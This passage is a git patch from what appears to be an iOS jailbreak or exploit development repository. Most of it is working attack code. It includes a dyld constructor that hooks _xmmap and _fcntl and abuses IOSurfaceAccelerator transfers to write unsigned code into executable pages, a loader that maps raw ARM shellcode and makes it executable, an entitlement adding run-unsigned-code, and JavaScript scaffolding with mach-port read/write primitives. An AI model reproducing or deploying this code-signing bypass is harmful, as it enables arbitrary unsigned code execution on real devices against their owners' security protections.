printf("%x\n", addy); + return read_u32(addy + VECTOR_OFFSET); } \ No newline at end of file diff --git a/tools/-h b/tools/-h new file mode 100644 index 0000000..e69de29 diff --git a/tools/935csbypass.c b/tools/935csbypass.c new file mode 100644 index 0000000..c2685f5 --- /dev/null +++ b/tools/935csbypass.c @@ -0,0 +1,14 @@ +#include +#include + +uint8_t payload[] = { + 0x42, 0x01, 0x04, 0xE3, + 0x44, 0x03, 0x44, 0xE3, + 0x1E, 0xFF, 0x2F, 0xE1, +}; + +int main(int argc, char* argv[]) { + uint32_t (*lol)() = (uint32_t (*)())&payload; + printf("Hello, world! %x\n", lol()); + return 0; +} \ No newline at end of file diff --git a/tools/build_native.sh b/tools/build_native.sh index 90ecb60..6dce749 100755 --- a/tools/build_native.sh +++ b/tools/build_native.sh @@ -11,8 +11,16 @@ rm bin/935csbypass gcc 935csbypass.c -o bin/935csbypass --std=c99 -marm ldid -S bin/935csbypass +rm bin/defines +gcc defines.c -o bin/defines --std=c99 -marm +ldid -S bin/defines + rm shc/bin/shellcode gcc shc/shellcode.c -o shc/bin/shellcode --std=c99 -marm -ffreestanding -c -fPIC #ldid -S shc/bin/shellcode -otool -t shc/bin/shellcode -X | cut -d " " -f 2- | tr -d "\n" | xxd -r -ps > shc/bin/shellcode.bin \ No newline at end of file +otool -t shc/bin/shellcode -X | cut -d " " -f 2- | tr -d "\n" | xxd -r -ps > shc/bin/shellcode.bin + +rm bin/jit_all_the_things +gcc jit_all_the_things.c -o bin/jit_all_the_things --std=c99 -marm -fPIC +ldid -Sent.xml bin/jit_all_the_things \ No newline at end of file diff --git a/tools/defines b/tools/defines new file mode 100755 index 0000000..d96c3cd Binary files /dev/null and b/tools/defines differ diff --git a/tools/defines.c b/tools/defines.c new file mode 100644 index 0000000..4c499b3 --- /dev/null +++ b/tools/defines.c @@ -0,0 +1,28 @@ +#include +#include +#include +//#include + +uintptr_t get_dyld_shc_slide(void) { + return _dyld_get_image_vmaddr_slide(1); +} + +uint32_t dlsym_cf(char* s) { + return dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), s) - get_dyld_shc_slide(); +} + +void fuck(char* s) { + printf("var %s_addr = 0x%08x;\n", s, dlsym_cf(s)); +} + +int main(int argc, char* argv[]) { + printf("#define PRINTF_ADDR 0x%x\n", dlsym(RTLD_DEFAULT, "printf")); +// printf("%x %x %x %x %x %x %x %x\n", RTLD_NOW, dlsym_cf("kCFTypeDictionaryKeyCallBacks"), 0x41414141);//, &kCFTypeDictionaryValueCallBacks, kCFNumberSInt32Type); + fuck("CFDictionaryCreateMutable"); + fuck("kCFTypeDictionaryKeyCallBacks"); + fuck("kCFTypeDictionaryValueCallBacks"); +// fuck("kCFNumberSInt32Type"); + fuck("CFDictionarySetValue"); + fuck("CFNumberCreate"); + return 0; +} diff --git a/tools/ent.xml b/tools/ent.xml index 2973d1d..6de10e3 100755 --- a/tools/ent.xml +++ b/tools/ent.xml @@ -11,5 +11,7 @@ get-task-allow + run-unsigned-code + \ No newline at end of file diff --git a/tools/jit_all_the_things.c b/tools/jit_all_the_things.c index d955ea1..15344e9 100755 --- a/tools/jit_all_the_things.c +++ b/tools/jit_all_the_things.c @@ -1,10 +1,40 @@ #include +#include #include +#include + +//uint8_t whatever[] = {0xe9, 0x2d, 0x40, 0x80, 0xe2, 0x8d, 0x70, 0x00, 0xeb, 0x00, 0x00, 0x08, 0xe8, 0xbd, 0x80, 0x80, 0xe9, 0x2d, 0x40, 0x80, 0xe2, 0x8d, 0x70, 0x00, 0xe5, 0x9f, 0x20, 0x08, 0xe5, 0x9f, 0x30, 0x08, 0xe5, 0x82, 0x30, 0x00, 0xe8, 0xbd, 0x80, 0x80, 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42}; #define PT_TRACE_ME 0 int ptrace(int, pid_t, caddr_t, int); int main(int argc, char* argv[]) { - ptrace(PT_TRACE_ME, 0, NULL, 0); +// ptrace(PT_TRACE_ME, 0, NULL, 0); + + uint8_t* whatever = NULL; + FILE* fp = fopen("shc/bin/shellcode.bin", "r"); + fseek(fp, 0L, SEEK_END); + size_t sz = ftell(fp); + rewind(fp); + + whatever = (uint8_t*)malloc(sz); + fread(whatever, 1, sz, fp); + fclose(fp); + + void* exec = mmap(0x42000000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, 0, 0); + + mprotect(exec, 0x1000, PROT_READ | PROT_WRITE); + + memcpy(exec + 4, whatever, sz); + *(uint32_t*)exec = dlsym(RTLD_DEFAULT, "dlsym"); + + printf("%x\n", *(uint32_t*)exec); + + mprotect(exec, 0x1000, PROT_READ | PROT_EXEC); + + void (*lol)() = (void (*)())(exec + 4); + + lol(); + exit(0); return 0; diff --git a/tools/payload.s b/tools/payload.s new file mode 100644 index 0000000..e8b5add --- /dev/null +++ b/tools/payload.s @@ -0,0 +1,3 @@ +movw r0, #0x4142 +movt r0, #0x4344 +bx lr \ No newline at end of file diff --git a/tools/shc/shellcode.c b/tools/shc/shellcode.c index e48b51d..011b5cc 100644 --- a/tools/shc/shellcode.c +++ b/tools/shc/shellcode.c @@ -4,7 +4,21 @@ typedef unsigned int uint32_t; -void shellcode(void) { - *(uint32_t*)0x41414141 = 0x42424242; -// __builtin_unreachable(); -} \ No newline at end of file +//#define PRINTF_ADDR 0x2054a3b9 +//#define BASE_ADDR 0x42000000 + +void entry(void) { + *(uint32_t*)0x69696969 = (uint32_t)0x1; + /* + uint32_t dlsym_addr = *(uint32_t*)BASE_ADDR; + void* (*dlsym)(void* handle, char* s) = (void* (*)(void*, char*))dlsym_addr; + void (*abort)(void) = dlsym(0xfffffffe, "abort"); + abort();*/ +} + +/* +void shellcode_main(void) { + uint32_t puts_addr = *(uint32_t*)BASE_ADDR; + int (*puts)(char* s) = (int (*)(char* s))puts_addr; + puts("Hello from shellcode!\n"); +}*/ \ No newline at end of file diff --git a/work/cs935.c b/work/cs935.c new file mode 100644 index 0000000..446d16d --- /dev/null +++ b/work/cs935.c @@ -0,0 +1,133 @@ +// +// cs935.c +// cs935 +// +// Created by tihmstar on 12.05.22. +// + +#include "cs935.h" +#include +#import +#import +#include +#include +#include +#include +#include +#include + +kern_return_t mach_vm_remap(vm_map_t target_task, mach_vm_address_t *target_address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src_task, mach_vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance); +static CFStringRef *my_kIOSurfaceBytesPerRow; +static CFStringRef *my_kIOSurfaceWidth; +static CFStringRef *my_kIOSurfaceHeight; +static CFStringRef *my_kIOSurfacePixelFormat; +static uint32_t (*my_IOSurfaceAcceleratorCreate)(CFAllocatorRef allocator, int type, void *outAccelerator); +static void *(*my_IOSurfaceCreate)(CFDictionaryRef properties); +static uint32_t (*my_IOSurfaceAcceleratorTransferSurface)(void *accelerator, void *source, void *dest, CFDictionaryRef, void *); + + +uint32_t data[0x100] = { + 0x1000//size of executable code mapped R-X, everything after is RW- +}; + +int testcode(int a, int b); + + +asm(".align 4"); +int doAdd(int a, int b){ + return a+b; +} +int end_doAdd(){ + return 0; +} + + +void *getData(){ + //first prepare data + uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1); + uint8_t *end = (uint8_t*)end_doAdd; + memcpy(&data[1], start, end-start); + + return data; +} + +void *memcpy_exec(void *dst, void*src, size_t size){ + //setup + CFMutableDictionaryRef dict = NULL; + void* accel = 0; + { + int width = PAGE_SIZE / (16*4); + int height = 16; + int pitch = width*4; + char pixelFormat[4] = {'A','R','G','B'}; + dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionarySetValue(dict, *my_kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch)); + CFDictionarySetValue(dict, *my_kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width)); + CFDictionarySetValue(dict, *my_kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height)); + CFDictionarySetValue(dict, *my_kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat)); + assert(my_IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS); + } + + //transfer pages + for (uint32_t i=0; i +#import +#import +#include +#include +#include +#include +#include +#import + +kern_return_t IOSurfaceAcceleratorCreate(CFAllocatorRef allocator, int type, void **outAccelerator); +kern_return_t IOSurfaceAcceleratorTransferSurface(void* accelerator, IOSurfaceRef source, IOSurfaceRef dest, CFDictionaryRef, void *); + +#ifdef __LP64__ +#define mach_hdr struct mach_header_64 +#define sgmt_cmd struct segment_command_64 +#define sect_cmd struct section_64 +#define nlist_ struct nlist_64 +#define LC_SGMT LC_SEGMENT_64 +#define MH_MAGIC_ MH_MAGIC_64 +#else +#define mach_hdr struct mach_header +#define sgmt_cmd struct segment_command +#define sect_cmd struct section +#define nlist_ struct nlist +#define LC_SGMT LC_SEGMENT +#define MH_MAGIC_ MH_MAGIC +#endif +#define load_cmd struct load_command + + +sect_cmd *find_section(sgmt_cmd *seg, const char *name) +{ + sect_cmd *sect, *fs = NULL; + uint32_t i = 0; + for (i = 0, sect = (sect_cmd *)((uint64_t)seg + (uint64_t)sizeof(sgmt_cmd)); + i < seg->nsects; + i++, sect = (sect_cmd*)((uint64_t)sect + sizeof(sect_cmd))) + { + if (!strcmp(sect->sectname, name)) { + fs = sect; + break; + } + } + return fs; +} + +struct load_command *find_load_command(mach_hdr *mh, uint32_t cmd) +{ + load_cmd *lc, *flc; + lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == cmd) { + flc = (load_cmd *)lc; + break; + } + lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return flc; +} + +sgmt_cmd *find_segment(mach_hdr *mh, const char *segname) +{ + load_cmd *lc; + sgmt_cmd *s, *fs = NULL; + lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr)); + while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { + if (lc->cmd == LC_SGMT) { + s = (sgmt_cmd *)lc; + if (!strcmp(s->segname, segname)) { + fs = s; + break; + } + } + lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize); + } + return fs; +} + +void* find_sym(mach_hdr *mh, const char *name) { + sgmt_cmd* first = (sgmt_cmd*) find_load_command(mh, LC_SGMT); + sgmt_cmd* linkedit = find_segment(mh, SEG_LINKEDIT); + struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB); + vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr; + + char* sym_str_table = (char*) linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->stroff; + nlist_* sym_table = (nlist_*)(linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->symoff); + + for (int i = 0; i < symtab->nsyms; i++) { + if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) { + return (void*) (uint64_t) (sym_table[i].n_value + vmaddr_slide); + } + } + return 0; +} + +vm_address_t find_dyld() { + kern_return_t kr = KERN_SUCCESS; + vm_address_t address = 0; + vm_size_t size = 0; + + while (1) { + mach_msg_type_number_t count; + struct vm_region_submap_info_64 info; + uint32_t nesting_depth; + + count = VM_REGION_SUBMAP_INFO_COUNT_64; + kr = vm_region_recurse_64(mach_task_self(), &address, &size, &nesting_depth, + (vm_region_info_64_t)&info, &count); + if (kr == KERN_INVALID_ADDRESS) { + break; + } else if (kr) { + mach_error("vm_region:", kr); + break; /* last region done */ + } + + if (info.is_submap) { + nesting_depth++; + } else { + if (info.protection & PROT_EXEC && info.protection & PROT_READ) { + if (*(uint32_t*) (address) == MH_MAGIC_ ) { + mach_hdr* hd = (mach_hdr*) address; + if (hd->filetype == MH_DYLINKER) { + return address; + } + } + } + address += size; + } + } + return 0; +} + +static int fcntlhook(int a, int b) { + return -1; +} + + +void memcpy_bypassprot_page(void* addr, void* src) { + static int fd = 0; + static vm_offset_t protmap = 0; + static CFMutableDictionaryRef dict; + static void* accel = 0; + + if (!fd) { + fd = open("/usr/lib/dyld", O_RDONLY); + + + assert(fd!=-1); + + char dyld_header[0x4000]; + + vm_offset_t off = 0; + while (1) { + pread(fd, dyld_header, 0x4000, off); + + if (*(uint32_t*)(dyld_header) == MH_MAGIC) { + break; + } + + off += 0x1000; + } + + + struct mach_header* hdr = dyld_header; + struct load_command* lc = hdr + 1; + for (int i = 0; i < hdr->ncmds; i++) { + if (lc->cmd == LC_CODE_SIGNATURE) { + struct linkedit_data_command* codeSigCmd = lc; + fsignatures_t siginfo; + siginfo.fs_file_start=off; // start of mach-o slice in fat file + siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff); // start of CD in mach-o file + siginfo.fs_blob_size=codeSigCmd->datasize; // size of CD + int result = fcntl(fd, F_ADDFILESIGS_RETURN, &siginfo); + NSLog(@"Sigload %x", result); + protmap = off; + break; + } + lc = ((char*)lc) + lc->cmdsize; + } + + assert(protmap); + + int width = PAGE_SIZE / (8*4); + int height = 8; + + int pitch = width*4, size = width*height*4; + int bPE=4; + char pixelFormat[4] = {'A','R','G','B'}; + dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionarySetValue(dict, kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch)); + CFDictionarySetValue(dict, kIOSurfaceBytesPerElement, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &bPE)); + CFDictionarySetValue(dict, kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width)); + CFDictionarySetValue(dict, kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height)); + CFDictionarySetValue(dict, kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat)); + CFDictionarySetValue(dict, kIOSurfaceAllocSize, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &size)); + assert(IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS); + IOSurfaceAcceleratorTransferSurface(0,0,0,0,0); + mprotect(0,0,0); + mlock(0,0); + mmap(0,0,0,0,0,0); + IOSurfaceCreate(0); + memcmp(0,0,0); + + } + + CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &src)); + IOSurfaceRef srcSurf = IOSurfaceCreate(dict); + + munmap(addr,PAGE_SIZE); + mmap(addr, PAGE_SIZE, PROT_READ|PROT_EXEC, MAP_FIXED|MAP_FILE|MAP_PRIVATE, fd, protmap); + mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE); + CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &addr)); + IOSurfaceRef destSurf = IOSurfaceCreate(dict); + mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC); + mlock(addr, PAGE_SIZE); + + assert(destSurf && srcSurf); + assert(IOSurfaceAcceleratorTransferSurface(accel, srcSurf, destSurf, 0, 0) == 0); + + CFRelease(destSurf); + CFRelease(srcSurf); +} + + + +static void * +mmaphook(void *addr, size_t len, int prot, int flags, int fd, off_t offset) +{ + if (!(prot & PROT_EXEC)) { + return mmap(addr,len,prot,flags,fd,offset); + } + static char* buf = 0; + if (!buf) { + buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0); + } + off_t actoff = 0; + + while (actoff < len) { + pread(fd, buf, PAGE_SIZE, offset+actoff); + memcpy_bypassprot_page(addr + actoff, buf); + actoff += PAGE_SIZE; + } + return addr; +} + +__attribute__((constructor)) +void ayy_lmao() { + // Load PLT entries (munmap breaks dyld..) + + mmap(0, 0, 0, 0, 0, 0); + mlock(0, 0); + mprotect(0, 0, 0); + + char *buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0); + + + mach_hdr* dyld_hdr = (mach_hdr*) find_dyld(); + assert(dyld_hdr); + assert(dyld_hdr->filetype == MH_DYLINKER); + // Copy original code + + vm_address_t fcntl = (vm_address_t) find_sym(dyld_hdr, "_fcntl"); + assert(fcntl); + vm_address_t xmmap = (vm_address_t) find_sym(dyld_hdr, "_xmmap"); + assert(xmmap); + + memcpy(buf, (void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE); + + // Patch. + + extern void _tramp_begin(); + extern void _tramp_end(); + char* xmb = &buf[xmmap & PAGE_MASK]; + memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)); + + vm_address_t* tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)]; + tramp_target --; + *tramp_target = (vm_address_t) mmaphook; + + // Replace code + + memcpy_bypassprot_page((void*)(xmmap & (~PAGE_MASK)), buf); + + // Copy original code + + memcpy(buf, (void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE); + + // Patch. + + xmb = &buf[fcntl & PAGE_MASK]; + memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)); + + tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)]; + tramp_target --; + *tramp_target = (vm_address_t) fcntlhook; + + // Replace code + + memcpy_bypassprot_page((void*)(fcntl & (~PAGE_MASK)), buf); +} \ No newline at end of file diff --git a/work/shit.js b/work/shit.js new file mode 100644 index 0000000..4a84da9 --- /dev/null +++ b/work/shit.js @@ -0,0 +1,41 @@ + + +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// tmp = u32_to_u8x4(num); +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// new_buf_.push(0); +// new_buf_.push(0); +// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); +// new_buf_.push(19); + +// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); + +// var new_buf = fast_array_mul(new_buf_, number_port_descs); + + /* + for (var i = 0; i < number_port_descs; i++) { + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); + write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); + }*/ + +// var tmp = u32_to_u8x4(init_port_set); +printf("still alive? %x\n", 420); +printf("still still alive?\n"); +printf("yolo\n"); +printf("%x\n", o); + +mach_port_deallocate(self, read_u32(data)); +write_u32(data, MACH_PORT_NULL); +printf("%x %x\n", master, read_u32(master)); +printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); +printf("still alive? %x %x\n", err, read_u32(err)); +printf("still alive? %x %x\n", err, read_u32(err)); -- cgit v1.2.3